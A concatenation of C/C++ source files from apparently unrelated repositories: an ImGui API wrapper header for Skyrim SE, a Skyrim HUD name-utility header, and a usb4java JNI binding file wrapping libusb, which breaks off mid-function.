ImTextureID* (* ImVector_ImTextureID_erase_unsorted) (ImVector_ImTextureID* self,ImTextureID const * it);
ImDrawVert* (* ImVector_ImDrawVert_erase_unsorted) (ImVector_ImDrawVert* self,ImDrawVert const * it);
int* (* ImVector_int_erase_unsorted) (ImVector_int* self,int const * it);
Pair* (* ImVector_Pair_erase_unsorted) (ImVector_Pair* self,Pair const * it);
ImFont** (* ImVector_ImFontPtr_erase_unsorted) (ImVector_ImFontPtr* self,ImFont* const * it);
ImVec4* (* ImVector_ImVec4_erase_unsorted) (ImVector_ImVec4* self,ImVec4 const * it);
ImDrawCmd* (* ImVector_ImDrawCmd_erase_unsorted) (ImVector_ImDrawCmd* self,ImDrawCmd const * it);
ImDrawIdx* (* ImVector_ImDrawIdx_erase_unsorted) (ImVector_ImDrawIdx* self,ImDrawIdx const * it);
ImVec2* (* ImVector_ImVec2_erase_unsorted) (ImVector_ImVec2* self,ImVec2 const * it);
float* (* ImVector_float_insert) (ImVector_float* self,float const * it,const float v);
ImWchar* (* ImVector_ImWchar_insert) (ImVector_ImWchar* self,ImWchar const * it,const ImWchar v);
ImFontConfig* (* ImVector_ImFontConfig_insert) (ImVector_ImFontConfig* self,ImFontConfig const * it,const ImFontConfig v);
ImFontGlyph* (* ImVector_ImFontGlyph_insert) (ImVector_ImFontGlyph* self,ImFontGlyph const * it,const ImFontGlyph v);
TextRange* (* ImVector_TextRange_insert) (ImVector_TextRange* self,TextRange const * it,const TextRange v);
CustomRect* (* ImVector_CustomRect_insert) (ImVector_CustomRect* self,CustomRect const * it,const CustomRect v);
ImDrawChannel* (* ImVector_ImDrawChannel_insert) (ImVector_ImDrawChannel* self,ImDrawChannel const * it,const ImDrawChannel v);
char* (* ImVector_char_insert) (ImVector_char* self,char const * it,const char v);
ImTextureID* (* ImVector_ImTextureID_insert) (ImVector_ImTextureID* self,ImTextureID const * it,const ImTextureID v);
ImDrawVert* (* ImVector_ImDrawVert_insert) (ImVector_ImDrawVert* self,ImDrawVert const * it,const ImDrawVert v);
int* (* ImVector_int_insert) (ImVector_int* self,int const * it,const int v);
Pair* (* ImVector_Pair_insert) (ImVector_Pair* self,Pair const * it,const Pair v);
ImFont** (* ImVector_ImFontPtr_insert) (ImVector_ImFontPtr* self,ImFont* const * it,ImFont* const v);
ImVec4* (* ImVector_ImVec4_insert) (ImVector_ImVec4* self,ImVec4 const * it,const ImVec4 v);
ImDrawCmd* (* ImVector_ImDrawCmd_insert) (ImVector_ImDrawCmd* self,ImDrawCmd const * it,const ImDrawCmd v);
ImDrawIdx* (* ImVector_ImDrawIdx_insert) (ImVector_ImDrawIdx* self,ImDrawIdx const * it,const ImDrawIdx v);
ImVec2* (* ImVector_ImVec2_insert) (ImVector_ImVec2* self,ImVec2 const * it,const ImVec2 v);
bool (* ImVector_float_contains) (const ImVector_float* self,const float v);
bool (* ImVector_ImWchar_contains) (const ImVector_ImWchar* self,const ImWchar v);
bool (* ImVector_char_contains) (const ImVector_char* self,const char v);
bool (* ImVector_int_contains) (const ImVector_int* self,const int v);
int (* ImVector_float_index_from_ptr) (const ImVector_float* self,float const * it);
int (* ImVector_ImWchar_index_from_ptr) (const ImVector_ImWchar* self,ImWchar const * it);
int (* ImVector_ImFontConfig_index_from_ptr) (const ImVector_ImFontConfig* self,ImFontConfig const * it);
int (* ImVector_ImFontGlyph_index_from_ptr) (const ImVector_ImFontGlyph* self,ImFontGlyph const * it);
int (* ImVector_TextRange_index_from_ptr) (const ImVector_TextRange* self,TextRange const * it);
int (* ImVector_CustomRect_index_from_ptr) (const ImVector_CustomRect* self,CustomRect const * it);
int (* ImVector_ImDrawChannel_index_from_ptr) (const ImVector_ImDrawChannel* self,ImDrawChannel const * it);
int (* ImVector_char_index_from_ptr) (const ImVector_char* self,char const * it);
int (* ImVector_ImTextureID_index_from_ptr) (const ImVector_ImTextureID* self,ImTextureID const * it);
int (* ImVector_ImDrawVert_index_from_ptr) (const ImVector_ImDrawVert* self,ImDrawVert const * it);
int (* ImVector_int_index_from_ptr) (const ImVector_int* self,int const * it);
int (* ImVector_Pair_index_from_ptr) (const ImVector_Pair* self,Pair const * it);
int (* ImVector_ImFontPtr_index_from_ptr) (const ImVector_ImFontPtr* self,ImFont* const * it);
int (* ImVector_ImVec4_index_from_ptr) (const ImVector_ImVec4* self,ImVec4 const * it);
int (* ImVector_ImDrawCmd_index_from_ptr) (const ImVector_ImDrawCmd* self,ImDrawCmd const * it);
int (* ImVector_ImDrawIdx_index_from_ptr) (const ImVector_ImDrawIdx* self,ImDrawIdx const * it);
int (* ImVector_ImVec2_index_from_ptr) (const ImVector_ImVec2* self,ImVec2 const * it);
void (* igLogText) (CONST char *fmt, ...);
void (* ImGuiTextBuffer_appendf) (struct ImGuiTextBuffer *buffer, const char *fmt, ...);
float (* igGET_FLT_MAX) ();
void (* igColorConvertRGBtoHSV) (float r,float g,float b,float *out_h,float *out_s,float *out_v);
void (* igColorConvertHSVtoRGB) (float h,float s,float v,float *out_r,float *out_g,float *out_b);
ImVector_ImWchar* (* ImVector_ImWchar_create) ();
void (* ImVector_ImWchar_Init) (ImVector_ImWchar* p);
void (* ImVector_ImWchar_UnInit) (ImVector_ImWchar* p);
};
/** Current version of the API. */
typedef struct imgui_api_v1 imgui_api;
/******************************************************************************/
/** Create new #sseimgui_api instance, all method pointers assigned. */
SSEIMGUI_API imgui_api SSEIMGUI_CCONV
sseimgui_make_imgui_api ();
/** @see #sseimgui_make_imgui_api() */
typedef imgui_api (SSEIMGUI_CCONV* sseimgui_make_imgui_api_t) ();
/******************************************************************************/
#ifdef __cplusplus
}
#endif
#endif /* SSEIMGUI_IMGUI_WRAPPED_H */
/* EOF */
|
cheetman/skyrim-sse-hud
|
src/utils/NameUtil.h
|
#pragma once
#include "RE/Skyrim.h"
//Methods for converting various form data into user readable strings
std::string GetName(RE::TESForm* pBaseForm);
std::string GetFormTypeName(int formType);
std::string GetTextureType(int textureType);
std::string GetArmorTypeName(RE::TESObjectARMO::ArmorType armorType);
std::string GetEquipSlotName(int slot);
std::string GetWeaponAnimationTypeName(RE::WEAPON_TYPE weaponType);
std::string GetEquipTypeName(int formID);
std::string GetActorValueName(int id);
std::string GetEffectTypeName(int id);
std::string GetSpellTypeName(RE::MagicSystem::SpellType spellType);
std::string GetCastingTypeName(RE::MagicSystem::CastingType castingType);
std::string GetDeliveryTypeName(RE::MagicSystem::Delivery deliveryType);
std::string GetExtraDataTypeName(int extraDataType);
std::string GetLockLevelName(RE::LOCK_LEVEL lockLevel);
std::string GetMFGExpressionName(int expressionIndex);
std::string GetMFGModiferName(int modifierIndex);
std::string GetMFGPhenomeName(int phonemeIndex);
|
eraga/rxusb-android
|
usb4java-android/src/main/cpp/LibUsb.c
|
/*
* Copyright (C) 2013 <NAME> (<EMAIL>)
* Copyright (C) 2013 <NAME> (<EMAIL>)
* See LICENSE.md file for copying conditions
*/
/**
* @name LibUsb
*
* Native methods for the LibUsb class.
*
* @author <NAME> <<EMAIL>>
* @author <NAME> <<EMAIL>>
*/
#include <stdlib.h>
#include <stdio.h>
#include <time.h>
#include "usb4java.h"
#include "Version.h"
#include "Context.h"
#include "Device.h"
#include "DeviceHandle.h"
#include "DeviceList.h"
#include "DeviceDescriptor.h"
#include "ConfigDescriptor.h"
#include "EndpointDescriptor.h"
#include "SsEndpointCompanionDescriptor.h"
#include "BosDescriptor.h"
#include "BosDevCapabilityDescriptor.h"
#include "Usb20ExtensionDescriptor.h"
#include "SsUsbDeviceCapabilityDescriptor.h"
#include "ContainerIdDescriptor.h"
#include "Transfer.h"
#include "HotplugCallbackHandle.h"
static int defaultContextRefcnt = 0;
/**
* Version getVersion()
*/
JNIEXPORT jobject JNICALL METHOD_NAME(LibUsb, getVersion)
(
JNIEnv *env, jclass class
)
{
return wrapVersion(env, libusb_get_version());
}
/**
* int getApiVersion()
*/
JNIEXPORT jint JNICALL METHOD_NAME(LibUsb, getApiVersion)
(
JNIEnv *env, jclass class
)
{
#ifdef LIBUSBX_API_VERSION
return LIBUSBX_API_VERSION;
#else
return LIBUSB_API_VERSION;
#endif
}
/**
* int init(Context)
*/
JNIEXPORT jint JNICALL METHOD_NAME(LibUsb, init)
(
JNIEnv *env, jclass class, jobject context
)
{
if (!context)
{
int result = libusb_init(NULL);
if (result == LIBUSB_SUCCESS) defaultContextRefcnt++;
return result;
}
else
{
libusb_context *ctx;
int result;
VALIDATE_POINTER_NOT_SET(env, context, "contextPointer", return 0);
result = libusb_init(&ctx);
if (result == LIBUSB_SUCCESS) setContext(env, ctx, context);
return result;
}
}
/**
* void exit(Context)
*/
JNIEXPORT void JNICALL METHOD_NAME(LibUsb, exit)
(
JNIEnv *env, jclass class, jobject context
)
{
if (!context)
{
if (defaultContextRefcnt <= 0)
{
illegalState(env, "default context is not initialized");
return;
}
libusb_exit(NULL);
defaultContextRefcnt--;
}
else
{
libusb_context *ctx = unwrapContext(env, context);
if (!ctx) return;
libusb_exit(ctx);
resetContext(env, context);
}
}
/**
* void setDebug(Context, int)
*/
JNIEXPORT void JNICALL METHOD_NAME(LibUsb, setDebug)
(
JNIEnv *env, jclass class, jobject context, jint level
)
{
libusb_context *ctx = unwrapContext(env, context);
if (!ctx && context) return;
libusb_set_debug(ctx, level);
}
/**
* int getDeviceList(Context, DeviceList)
*/
JNIEXPORT jint JNICALL METHOD_NAME(LibUsb, getDeviceList)
(
JNIEnv *env, jclass class, jobject context, jobject deviceList
)
{
libusb_context *ctx;
libusb_device **list;
ssize_t result;
VALIDATE_NOT_NULL(env, deviceList, return 0);
VALIDATE_POINTER_NOT_SET(env, deviceList, "deviceListPointer", return 0);
ctx = unwrapContext(env, context);
if (!ctx && context) return 0;
result = libusb_get_device_list(ctx, &list);
if (result >= 0) setDeviceList(env, list, (jint) result, deviceList);
return (jint) result;
}
/**
* void freeDeviceList(DeviceList, boolean)
*/
JNIEXPORT void JNICALL METHOD_NAME(LibUsb, freeDeviceList)
(
JNIEnv *env, jclass class, jobject deviceList, jboolean unrefDevices
)
{
libusb_device **list;
if (!deviceList) return;
list = unwrapDeviceList(env, deviceList);
if (!list) return;
libusb_free_device_list(list, unrefDevices);
resetDeviceList(env, deviceList);
}
/**
* int getBusNumber(Device)
*/
JNIEXPORT jint JNICALL METHOD_NAME(LibUsb, getBusNumber)
(
JNIEnv *env, jclass class, jobject device
)
{
libusb_device *dev;
VALIDATE_NOT_NULL(env, device, return 0);
dev = unwrapDevice(env, device);
if (!dev) return 0;
return libusb_get_bus_number(dev);
}
/**
* int getPortNumber(Device)
*/
JNIEXPORT jint JNICALL METHOD_NAME(LibUsb, getPortNumber)
(
JNIEnv *env, jclass class, jobject device
)
{
libusb_device *dev;
VALIDATE_NOT_NULL(env, device, return 0);
dev = unwrapDevice(env, device);
if (!dev) return 0;
return libusb_get_port_number(dev);
}
/**
* int getPortNumbers(Device, ByteBuffer)
*/
JNIEXPORT jint JNICALL METHOD_NAME(LibUsb, getPortNumbers)
(
JNIEnv *env, jclass class, jobject device, jobject path
)
{
unsigned char *path_ptr;
libusb_device *dev;
jlong path_size;
VALIDATE_NOT_NULL(env, device, return 0);
VALIDATE_NOT_NULL(env, path, return 0);
path_ptr = (*env)->GetDirectBufferAddress(env, path);
VALIDATE_DIRECT_BUFFER(env, path_ptr, "path", return 0);
dev = unwrapDevice(env, device);
if (!dev) return 0;
path_size = (*env)->GetDirectBufferCapacity(env, path);
return libusb_get_port_numbers(dev, path_ptr, (int) path_size);
}
/**
* Device getParent(Device)
*/
JNIEXPORT jobject JNICALL METHOD_NAME(LibUsb, getParent)
(
JNIEnv *env, jclass class, jobject device
)
{
libusb_device *dev;
VALIDATE_NOT_NULL(env, device, return NULL);
dev = unwrapDevice(env, device);
if (!dev) return NULL;
return wrapDevice(env, libusb_get_parent(dev));
}
/**
* int getDeviceAddress(Device)
*/
JNIEXPORT jint JNICALL METHOD_NAME(LibUsb, getDeviceAddress)
(
JNIEnv *env, jclass class, jobject device
)
{
libusb_device *dev;
VALIDATE_NOT_NULL(env, device, return 0);
dev = unwrapDevice(env, device);
if (!dev) return 0;
return libusb_get_device_address(dev);
}
/**
* int getDeviceSpeed(Device)
*/
JNIEXPORT jint JNICALL METHOD_NAME(LibUsb, getDeviceSpeed)
(
JNIEnv *env, jclass class, jobject device
)
{
libusb_device *dev;
VALIDATE_NOT_NULL(env, device, return 0);
dev = unwrapDevice(env, device);
if (!dev) return 0;
return libusb_get_device_speed(dev);
}
/**
* int getMaxPacketSize(Device, byte)
*/
JNIEXPORT jint JNICALL METHOD_NAME(LibUsb, getMaxPacketSize)
(
JNIEnv *env, jclass class, jobject device, jbyte endpoint
)
{
libusb_device *dev;
VALIDATE_NOT_NULL(env, device, return 0);
dev = unwrapDevice(env, device);
if (!dev) return 0;
return libusb_get_max_packet_size(dev, (unsigned char) endpoint);
}
/**
* int getMaxIsoPacketSize(Device, byte)
*/
JNIEXPORT jint JNICALL METHOD_NAME(LibUsb, getMaxIsoPacketSize)
(
JNIEnv *env, jclass class, jobject device, jbyte endpoint
)
{
libusb_device *dev;
VALIDATE_NOT_NULL(env, device, return 0);
dev = unwrapDevice(env, device);
if (!dev) return 0;
return libusb_get_max_iso_packet_size(dev, (unsigned char) endpoint);
}
/**
* Device refDevice(Device)
*/
JNIEXPORT jobject JNICALL METHOD_NAME(LibUsb, refDevice)
(
JNIEnv *env, jclass class, jobject device
)
{
libusb_device *dev;
VALIDATE_NOT_NULL(env, device, return NULL);
dev = unwrapDevice(env, device);
if (!dev) return NULL;
return wrapDevice(env, libusb_ref_device(dev));
}
/**
* void unrefDevice(Device)
*/
JNIEXPORT void JNICALL METHOD_NAME(LibUsb, unrefDevice)
(
JNIEnv *env, jclass class, jobject device
)
{
libusb_device *dev;
VALIDATE_NOT_NULL(env, device, return);
dev = unwrapDevice(env, device);
if (!dev) return;
libusb_unref_device(dev);
resetDevice(env, device);
}
/**
* int open(Device, DeviceHandle)
*/
JNIEXPORT jint JNICALL METHOD_NAME(LibUsb, open)
(
JNIEnv *env, jclass class, jobject device, jobject handle
)
{
libusb_device *dev;
libusb_device_handle *deviceHandle;
int result;
VALIDATE_NOT_NULL(env, device, return 0);
VALIDATE_NOT_NULL(env, handle, return 0);
VALIDATE_POINTER_NOT_SET(env, handle, "deviceHandlePointer", return 0);
dev = unwrapDevice(env, device);
if (!dev) return 0;
result = libusb_open(dev, &deviceHandle);
if (result == LIBUSB_SUCCESS) setDeviceHandle(env, deviceHandle, handle);
return result;
}
/**
* DeviceHandle openDeviceWithVidPid(Context, short, short)
*/
JNIEXPORT jobject JNICALL METHOD_NAME(LibUsb, openDeviceWithVidPid)
(
JNIEnv *env, jclass class, jobject context, jshort vendorId,
jshort productId
)
{
libusb_context *ctx = unwrapContext(env, context);
if (!ctx && context) return NULL;
return wrapDeviceHandle(env, libusb_open_device_with_vid_pid(
ctx, (uint16_t) vendorId, (uint16_t) productId));
}
/**
* void close(DeviceHandle)
*/
JNIEXPORT void JNICALL METHOD_NAME(LibUsb, close)
(
JNIEnv *env, jclass class, jobject handle
)
{
libusb_device_handle *dev_handle;
VALIDATE_NOT_NULL(env, handle, return);
dev_handle = unwrapDeviceHandle(env, handle);
if (!dev_handle) return;
libusb_close(dev_handle);
resetDeviceHandle(env, handle);
}
/**
* Device getDevice(DeviceHandle)
*/
JNIEXPORT jobject JNICALL METHOD_NAME(LibUsb, getDevice)
(
JNIEnv *env, jclass class, jobject handle
)
{
libusb_device_handle *dev_handle;
VALIDATE_NOT_NULL(env, handle, return NULL);
dev_handle = unwrapDeviceHandle(env, handle);
if (!dev_handle) return NULL;
return wrapDevice(env, libusb_get_device(dev_handle));
}
/**
* int getConfiguration(DeviceHandle, IntBuffer)
*/
JNIEXPORT jint JNICALL METHOD_NAME(LibUsb, getConfiguration)
(
JNIEnv *env, jclass class, jobject handle, jobject buffer
)
{
libusb_device_handle *dev_handle;
int config;
int result;
VALIDATE_NOT_NULL(env, handle, return 0);
VALIDATE_NOT_NULL(env, buffer, return 0);
dev_handle = unwrapDeviceHandle(env, handle);
if (!dev_handle) return 0;
result = libusb_get_configuration(dev_handle, &config);
if (result == LIBUSB_SUCCESS)
{
jclass cls = (*env)->GetObjectClass(env, buffer);
jmethodID method = (*env)->GetMethodID(env, cls, "put", "(II)Ljava/nio/IntBuffer;");
(*env)->CallObjectMethod(env, buffer, method, 0, config);
}
return result;
}
/**
* int setConfiguration(DeviceHandle, int)
*/
JNIEXPORT jint JNICALL METHOD_NAME(LibUsb, setConfiguration)
(
JNIEnv *env, jclass class, jobject handle, jint config
)
{
libusb_device_handle *dev_handle;
VALIDATE_NOT_NULL(env, handle, return 0);
dev_handle = unwrapDeviceHandle(env, handle);
if (!dev_handle) return 0;
return libusb_set_configuration(dev_handle, config);
}
/**
* int claimInterface(DeviceHandle, int)
*/
JNIEXPORT jint JNICALL METHOD_NAME(LibUsb, claimInterface)
(
JNIEnv *env, jclass class, jobject handle, jint iface
)
{
libusb_device_handle *dev_handle;
VALIDATE_NOT_NULL(env, handle, return 0);
dev_handle = unwrapDeviceHandle(env, handle);
if (!dev_handle) return 0;
return libusb_claim_interface(dev_handle, iface);
}
/**
* int releaseInterface(DeviceHandle, int)
*/
JNIEXPORT jint JNICALL METHOD_NAME(LibUsb, releaseInterface)
(
JNIEnv *env, jclass class, jobject handle, jint iface
)
{
libusb_device_handle *dev_handle;
VALIDATE_NOT_NULL(env, handle, return 0);
dev_handle = unwrapDeviceHandle(env, handle);
if (!dev_handle) return 0;
return libusb_release_interface(dev_handle, iface);
}
/**
* int setInterfaceAltSetting(DeviceHandle, int, int)
*/
JNIEXPORT jint JNICALL METHOD_NAME(LibUsb, setInterfaceAltSetting)
(
JNIEnv *env, jclass class, jobject handle, jint iface, jint setting
)
{
libusb_device_handle *dev_handle;
VALIDATE_NOT_NULL(env, handle, return 0);
dev_handle = unwrapDeviceHandle(env, handle);
if (!dev_handle) return 0;
return libusb_set_interface_alt_setting(dev_handle, iface, setting);
}
/**
* int clearHalt(DeviceHandle, byte)
*/
JNIEXPORT jint JNICALL METHOD_NAME(LibUsb, clearHalt)
(
JNIEnv *env, jclass class, jobject handle, jbyte endpoint
)
{
libusb_device_handle *dev_handle;
VALIDATE_NOT_NULL(env, handle, return 0);
dev_handle = unwrapDeviceHandle(env, handle);
if (!dev_handle) return 0;
return libusb_clear_halt(dev_handle, (unsigned char) endpoint);
}
/**
* int resetDevice(DeviceHandle)
*/
JNIEXPORT jint JNICALL METHOD_NAME(LibUsb, resetDevice)
(
JNIEnv *env, jclass class, jobject handle
)
{
libusb_device_handle *dev_handle;
VALIDATE_NOT_NULL(env, handle, return 0);
dev_handle = unwrapDeviceHandle(env, handle);
if (!dev_handle) return 0;
return libusb_reset_device(dev_handle);
}
/**
* int allocStreams(DeviceHandle, int, byte[]);
*/
JNIEXPORT jint JNICALL METHOD_NAME(LibUsb, allocStreams)
(
JNIEnv *env, jclass class, jobject handle, jint numStreams,
jbyteArray endpoints
)
{
libusb_device_handle *dev_handle;
jbyte *endpointElements;
int returnValue;
VALIDATE_NOT_NULL(env, handle, return 0);
VALIDATE_NOT_NULL(env, endpoints, return 0);
dev_handle = unwrapDeviceHandle(env, handle);
if (!dev_handle) return 0;
endpointElements = (*env)->GetByteArrayElements(env, endpoints, NULL);
if (!endpointElements) {
illegalState(env, "failed to get 'endpoints' byte array elements");
return 0;
}
returnValue = libusb_alloc_streams(dev_handle, (uint32_t) numStreams,
(unsigned char *) endpointElements,
(*env)->GetArrayLength(env, endpoints));
(*env)->ReleaseByteArrayElements(env, endpoints, endpointElements, 0);
return returnValue;
}
/**
* int freeStreams(DeviceHandle, byte[]);
*/
JNIEXPORT jint JNICALL METHOD_NAME(LibUsb, freeStreams)
(
JNIEnv *env, jclass class, jobject handle, jbyteArray endpoints
)
{
libusb_device_handle *dev_handle;
jbyte *endpointElements;
int returnValue;
VALIDATE_NOT_NULL(env, handle, return 0);
VALIDATE_NOT_NULL(env, endpoints, return 0);
dev_handle = unwrapDeviceHandle(env, handle);
if (!dev_handle) return 0;
endpointElements = (*env)->GetByteArrayElements(env, endpoints, NULL);
if (!endpointElements) {
illegalState(env, "failed to get 'endpoints' byte array elements");
return 0;
}
returnValue = libusb_free_streams(dev_handle,
(unsigned char *) endpointElements,
(*env)->GetArrayLength(env, endpoints));
(*env)->ReleaseByteArrayElements(env, endpoints, endpointElements, 0);
return returnValue;
}
/**
* int kernelDriverActive(DeviceHandle, int)
*/
JNIEXPORT jint JNICALL METHOD_NAME(LibUsb, kernelDriverActive)
(
JNIEnv *env, jclass class, jobject handle, jint iface
)
{
libusb_device_handle *dev_handle;
VALIDATE_NOT_NULL(env, handle, return 0);
dev_handle = unwrapDeviceHandle(env, handle);
if (!dev_handle) return 0;
return libusb_kernel_driver_active(dev_handle, iface);
}
/**
* int detachKernelDriver(DeviceHandle, int)
*/
JNIEXPORT jint JNICALL METHOD_NAME(LibUsb, detachKernelDriver)
(
JNIEnv *env, jclass class, jobject handle, jint iface
)
{
libusb_device_handle *dev_handle;
VALIDATE_NOT_NULL(env, handle, return 0);
dev_handle = unwrapDeviceHandle(env, handle);
if (!dev_handle) return 0;
return libusb_detach_kernel_driver(dev_handle, iface);
}
/**
* int attachKernelDriver(DeviceHandle, int)
*/
JNIEXPORT jint JNICALL METHOD_NAME(LibUsb, attachKernelDriver)
(
JNIEnv *env, jclass class, jobject handle, jint iface
)
{
libusb_device_handle *dev_handle;
VALIDATE_NOT_NULL(env, handle, return 0);
dev_handle = unwrapDeviceHandle(env, handle);
if (!dev_handle) return 0;
return libusb_attach_kernel_driver(dev_handle, iface);
}
/**
* int setAutoDetachKernelDriver(DeviceHandle, boolean)
*/
JNIEXPORT jint JNICALL METHOD_NAME(LibUsb, setAutoDetachKernelDriver)
(
JNIEnv *env, jclass class, jobject handle, jboolean enable
)
{
libusb_device_handle *dev_handle;
VALIDATE_NOT_NULL(env, handle, return 0);
dev_handle = unwrapDeviceHandle(env, handle);
if (!dev_handle) return 0;
return libusb_set_auto_detach_kernel_driver(dev_handle, enable);
}
/**
* boolean hasCapability(int)
*/
JNIEXPORT jboolean JNICALL METHOD_NAME(LibUsb, hasCapability)
(
JNIEnv *env, jclass class, jint capability
)
{
return (jboolean) libusb_has_capability((uint32_t) capability);
}
/**
* string errorName(int)
*/
JNIEXPORT jstring JNICALL METHOD_NAME(LibUsb, errorName)
(
JNIEnv *env, jclass class, jint code
)
{
return (*env)->NewStringUTF(env, libusb_error_name(code));
}
/**
* int setLocale(String)
*/
JNIEXPORT jint JNICALL METHOD_NAME(LibUsb, setLocale)
(
JNIEnv *env, jobject class, jstring locale
)
{
const char *nativeLocale;
int result;
VALIDATE_NOT_NULL(env, locale, return 0);
nativeLocale = (*env)->GetStringUTFChars(env, locale, NULL);
result = libusb_setlocale(nativeLocale);
(*env)->ReleaseStringUTFChars(env, locale, nativeLocale);
return result;
}
/**
* String strError(int)
*/
JNIEXPORT jstring JNICALL METHOD_NAME(LibUsb, strError)
(
JNIEnv *env, jobject class, jint code
)
{
return (*env)->NewStringUTF(env, libusb_strerror(code));
}
/**
* short le16ToCpu(short)
*/
JNIEXPORT jshort JNICALL METHOD_NAME(LibUsb, le16ToCpu)
(
JNIEnv *env, jclass class, jshort x
)
{
return (jshort) libusb_le16_to_cpu((uint16_t) x);
}
/**
* short cpuToLe16(short)
*/
JNIEXPORT jshort JNICALL METHOD_NAME(LibUsb, cpuToLe16)
(
JNIEnv *env, jclass class, jshort x
)
{
return (jshort) libusb_cpu_to_le16((uint16_t) x);
}
/**
* int getDeviceDescriptor(Device, DeviceDescriptor)
*/
JNIEXPORT jint JNICALL METHOD_NAME(LibUsb, getDeviceDescriptor)
(
JNIEnv *env, jclass class, jobject device, jobject descriptor
)
{
libusb_device *dev;
int result;
jclass cls;
jfieldID field;
jobject buffer;
struct libusb_device_descriptor *dev_desc;
VALIDATE_NOT_NULL(env, device, return 0);
VALIDATE_NOT_NULL(env, descriptor, return 0);
dev = unwrapDevice(env, device);
if (!dev) return 0;
cls = (*env)->GetObjectClass(env, descriptor);
field = (*env)->GetFieldID(env, cls, "deviceDescriptorBuffer",
"Ljava/nio/ByteBuffer;");
buffer = (*env)->GetObjectField(env, descriptor, field);
// The Java code ensures this is an appropriately sized direct ByteBuffer.
dev_desc = (*env)->GetDirectBufferAddress(env, buffer);
result = libusb_get_device_descriptor(dev, dev_desc);
if (result == LIBUSB_SUCCESS)
{
setDeviceDescriptor(env, dev_desc, descriptor);
}
else
{
// Reset pointer on error, to ensure subsequent accesses will throw
// exceptions.
resetDeviceDescriptor(env, descriptor);
}
return result;
}
/**
* int deviceDescriptorStructSize()
*/
JNIEXPORT jint JNICALL METHOD_NAME(LibUsb, deviceDescriptorStructSize)
(
JNIEnv *env, jclass class
)
{
return sizeof(struct libusb_device_descriptor);
}
/**
* int getStringDescriptorAscii(DeviceHandle, byte, StringBuffer)
*/
JNIEXPORT jint JNICALL METHOD_NAME(LibUsb, getStringDescriptorAscii)
(
JNIEnv *env, jclass class, jobject handle, jbyte index, jobject string
)
{
libusb_device_handle *dev_handle;
// Maximum size of a descriptor is 256 bytes, -2 for length/type = 254,
// /2 because of Unicode = 127 characters and then +1 for the terminating
// NUL byte for C strings (the descriptor itself doesn't necessarily have
// one!).
unsigned char buffer[127 + 1];
int result;
VALIDATE_NOT_NULL(env, handle, return 0);
VALIDATE_NOT_NULL(env, string, return 0);
dev_handle = unwrapDeviceHandle(env, handle);
if (!dev_handle) return 0;
result = libusb_get_string_descriptor_ascii(
dev_handle, (uint8_t) index, buffer, 127);
if (result >= 0)
{
jobject tmp;
jclass cls;
jmethodID method;
buffer[result] = 0x00;
tmp = (*env)->NewStringUTF(env, (char *) buffer);
cls = (*env)->GetObjectClass(env, string);
method = (*env)->GetMethodID(env, cls, "append",
"(Ljava/lang/String;)Ljava/lang/StringBuffer;");
(*env)->CallObjectMethod(env, string, method, tmp);
}
return result;
}
/**
* int getActiveConfigDescriptor(Device, ConfigDescriptor)
*/
JNIEXPORT jint JNICALL METHOD_NAME(LibUsb, getActiveConfigDescriptor)
(
JNIEnv *env, jclass class, jobject device, jobject descriptor)
{
libusb_device *dev;
int result;
struct libusb_config_descriptor *config;
VALIDATE_NOT_NULL(env, device, return 0);
VALIDATE_NOT_NULL(env, descriptor, return 0);
VALIDATE_POINTER_NOT_SET(env, descriptor, "configDescriptorPointer", return 0);
dev = unwrapDevice(env, device);
if (!dev) return 0;
result = libusb_get_active_config_descriptor(dev, &config);
if (result == LIBUSB_SUCCESS) setConfigDescriptor(env, config, descriptor);
return result;
}
/**
* int getConfigDescriptor(Device, byte, ConfigDescriptor)
*/
JNIEXPORT jint JNICALL METHOD_NAME(LibUsb, getConfigDescriptor)
(
JNIEnv *env, jclass class, jobject device, jbyte index, jobject descriptor
)
{
libusb_device *dev;
int result;
struct libusb_config_descriptor *config;
VALIDATE_NOT_NULL(env, device, return 0);
VALIDATE_NOT_NULL(env, descriptor, return 0);
VALIDATE_POINTER_NOT_SET(env, descriptor, "configDescriptorPointer", return 0);
dev = unwrapDevice(env, device);
if (!dev) return 0;
result = libusb_get_config_descriptor(dev, (uint8_t) index, &config);
if (result == LIBUSB_SUCCESS) setConfigDescriptor(env, config, descriptor);
return result;
}
/**
* int getConfigDescriptorByValue(Device, byte, ConfigDescriptor)
*/
JNIEXPORT jint JNICALL METHOD_NAME(LibUsb, getConfigDescriptorByValue)
(
JNIEnv *env, jclass class, jobject device, jbyte index, jobject descriptor
)
{
libusb_device *dev;
struct libusb_config_descriptor *config;
int result;
VALIDATE_NOT_NULL(env, device, return 0);
VALIDATE_NOT_NULL(env, descriptor, return 0);
VALIDATE_POINTER_NOT_SET(env, descriptor, "configDescriptorPointer", return 0);
dev = unwrapDevice(env, device);
if (!dev) return 0;
result = libusb_get_config_descriptor_by_value(
dev, (uint8_t) index, &config);
if (result == LIBUSB_SUCCESS) setConfigDescriptor(env, config, descriptor);
return result;
}
/**
* void freeConfigDescriptor(ConfigDescriptor)
*/
JNIEXPORT void JNICALL METHOD_NAME(LibUsb, freeConfigDescriptor)
(
JNIEnv *env, jclass class, jobject descriptor
)
{
struct libusb_config_descriptor *config;
if (!descriptor) return;
config = unwrapConfigDescriptor(env, descriptor);
if (!config) return;
libusb_free_config_descriptor(config);
resetConfigDescriptor(env, descriptor);
}
/**
* int getSsEndpointCompanionDescriptor(Context, EndpointDescriptor, SsEndpointCompanionDescriptor)
*/
JNIEXPORT jint JNICALL METHOD_NAME(LibUsb, getSsEndpointCompanionDescriptor)
(
JNIEnv *env, jclass class, jobject context, jobject endpointDescriptor,
jobject companionDescriptor
)
{
struct libusb_endpoint_descriptor *endpoint_descriptor;
struct libusb_ss_endpoint_companion_descriptor *companion_descriptor;
libusb_context *ctx;
int result;
ctx = unwrapContext(env, context);
if (!ctx && context) return 0;
VALIDATE_NOT_NULL(env, endpointDescriptor, return 0);
VALIDATE_NOT_NULL(env, companionDescriptor, return 0);
VALIDATE_POINTER_NOT_SET(env, companionDescriptor,
"ssEndpointCompanionDescriptorPointer", return 0);
endpoint_descriptor = unwrapEndpointDescriptor(env, endpointDescriptor);
if (!endpoint_descriptor) return 0;
result = libusb_get_ss_endpoint_companion_descriptor(ctx,
endpoint_descriptor, &companion_descriptor);
if (result == LIBUSB_SUCCESS)
setSsEndpointCompanionDescriptor(env, companion_descriptor,
companionDescriptor);
return result;
}
/**
* void freeSsEndpointCompanionDescriptor(SsEndpointCompanionDescriptor)
*/
JNIEXPORT void JNICALL METHOD_NAME(LibUsb, freeSsEndpointCompanionDescriptor)
(
JNIEnv *env, jclass class, jobject companionDescriptor
)
{
